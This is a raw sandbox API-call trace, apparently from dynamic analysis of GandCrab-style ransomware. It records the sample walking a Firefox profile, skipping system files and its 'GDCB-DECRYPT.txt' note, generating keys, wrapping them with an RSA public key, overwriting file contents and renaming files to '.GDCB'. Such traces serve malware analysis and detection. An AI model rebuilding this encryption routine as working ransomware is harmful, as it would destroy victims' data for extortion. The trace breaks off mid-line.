[0057.652] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.652] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\GDCB-DECRYPT.txt" [0057.652] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.652] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\GDCB-DECRYPT.txt") returned 117 [0057.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\GDCB-DECRYPT.txt") returned 117 [0057.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\GDCB-DECRYPT.txt") returned 117 [0057.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\GDCB-DECRYPT.txt") returned 117 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.652] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.652] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.652] lstrcmpW (lpString1="previous.js", lpString2=".") returned 1 [0057.652] lstrcmpW (lpString1="previous.js", lpString2="..") returned 1 [0057.652] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="previous.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" [0057.652] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.653] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112 [0057.653] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112 [0057.653] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112 [0057.653] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="desktop.ini") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="autorun.inf") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="ntuser.dat") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="iconcache.db") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="bootsect.bak") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="boot.ini") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="ntuser.dat.log") returned 1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="thumbs.db") returned -1 [0057.653] lstrcmpiW (lpString1="previous.js", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.653] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js")) returned 0x20 [0057.654] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js", dwFileAttributes=0x20) returned 1 [0057.654] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.654] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" [0057.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.GDCB" [0057.655] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5900a0) returned 1 [0057.655] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.655] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.655] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0057.655] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0057.655] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.655] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5902c0) returned 1 [0057.656] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.656] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.656] CryptGenRandom (in: hProv=0x5902c0, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0057.656] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0057.656] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.656] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.656] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.657] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x58fc60) returned 1 [0057.658] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x5dd188) returned 1 [0057.658] CryptGetKeyParam (in: hKey=0x5dd188, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0057.658] CryptEncrypt (in: hKey=0x5dd188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0057.659] GetLastError () returned 0x0 [0057.659] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.659] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x58fc60) returned 1 [0057.660] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x5dd288) returned 1 [0057.660] CryptGetKeyParam (in: hKey=0x5dd288, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0057.660] CryptEncrypt (in: hKey=0x5dd288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e560*=0x100) returned 1 [0057.661] GetLastError () returned 0x0 [0057.661] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0057.661] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.661] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.661] ReadFile (in: hFile=0x508, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e5a0*=0x29d43, lpOverlapped=0x0) returned 1 [0057.672] VirtualAlloc (lpAddress=0x0, dwSize=0x29d50, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.674] VirtualAlloc (lpAddress=0x0, dwSize=0x29d50, flAllocationType=0x3000, flProtect=0x4) returned 0x29e0000 [0057.677] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.678] SetFilePointer (in: hFile=0x508, lDistanceToMove=-171331, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.678] WriteFile (in: hFile=0x508, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x29d50, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285e598*=0x29d50, lpOverlapped=0x0) returned 1 [0057.678] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.679] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.681] WriteFile (in: hFile=0x508, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e598*=0x100, lpOverlapped=0x0) returned 1 [0057.681] WriteFile (in: hFile=0x508, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e598*=0x100, lpOverlapped=0x0) returned 1 [0057.681] WriteFile (in: hFile=0x508, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e598*=0x10, lpOverlapped=0x0) returned 1 [0057.681] CloseHandle (hObject=0x508) returned 1 [0057.684] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.684] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.684] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.684] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.gdcb")) returned 1 [0057.685] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.685] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.685] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.685] lstrcmpW (lpString1="upgrade.js-20170518000419", lpString2=".") returned 1 [0057.685] lstrcmpW (lpString1="upgrade.js-20170518000419", lpString2="..") returned 1 [0057.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="upgrade.js-20170518000419" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419" [0057.686] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.686] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126 [0057.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126 [0057.686] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.686] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0057.686] FindClose (in: hFindFile=0x5dd148 | out: hFindFile=0x5dd148) returned 1 [0057.686] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.686] lstrcmpW (lpString1="sessionstore.js", lpString2=".") returned 1 [0057.686] lstrcmpW (lpString1="sessionstore.js", lpString2="..") returned 1 [0057.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionstore.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" [0057.686] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.686] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95 [0057.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95 [0057.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95 [0057.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="desktop.ini") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="autorun.inf") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="ntuser.dat") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="iconcache.db") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="bootsect.bak") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="boot.ini") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="ntuser.dat.log") returned 1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="thumbs.db") returned -1 [0057.686] lstrcmpiW (lpString1="sessionstore.js", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.686] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js")) returned 0x20 [0057.701] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js", dwFileAttributes=0x20) returned 1 [0057.701] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.702] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" [0057.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.GDCB" [0057.702] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.702] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.702] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.702] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.702] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.703] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.703] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.703] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.703] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.703] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.703] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.703] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.703] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.704] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.704] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.706] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd148) returned 1 [0057.706] CryptGetKeyParam (in: hKey=0x5dd148, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.706] CryptEncrypt (in: hKey=0x5dd148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.706] GetLastError () returned 0x0 [0057.706] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.706] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.708] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd248) returned 1 [0057.708] CryptGetKeyParam (in: hKey=0x5dd248, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.708] CryptEncrypt (in: hKey=0x5dd248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.708] GetLastError () returned 0x0 [0057.708] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.708] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.708] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.708] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.708] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x3da, lpOverlapped=0x0) returned 1 [0057.716] VirtualAlloc (lpAddress=0x0, dwSize=0x3e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.717] VirtualAlloc (lpAddress=0x0, dwSize=0x3e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.718] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.718] SetFilePointer (in: hFile=0x504, lDistanceToMove=-986, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.718] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x3e0, lpOverlapped=0x0) returned 1 [0057.718] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.718] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.720] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.721] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.721] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.721] CloseHandle (hObject=0x504) returned 1 [0057.721] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.721] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.721] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.722] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js.gdcb")) returned 1 [0057.722] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.722] VirtualFree 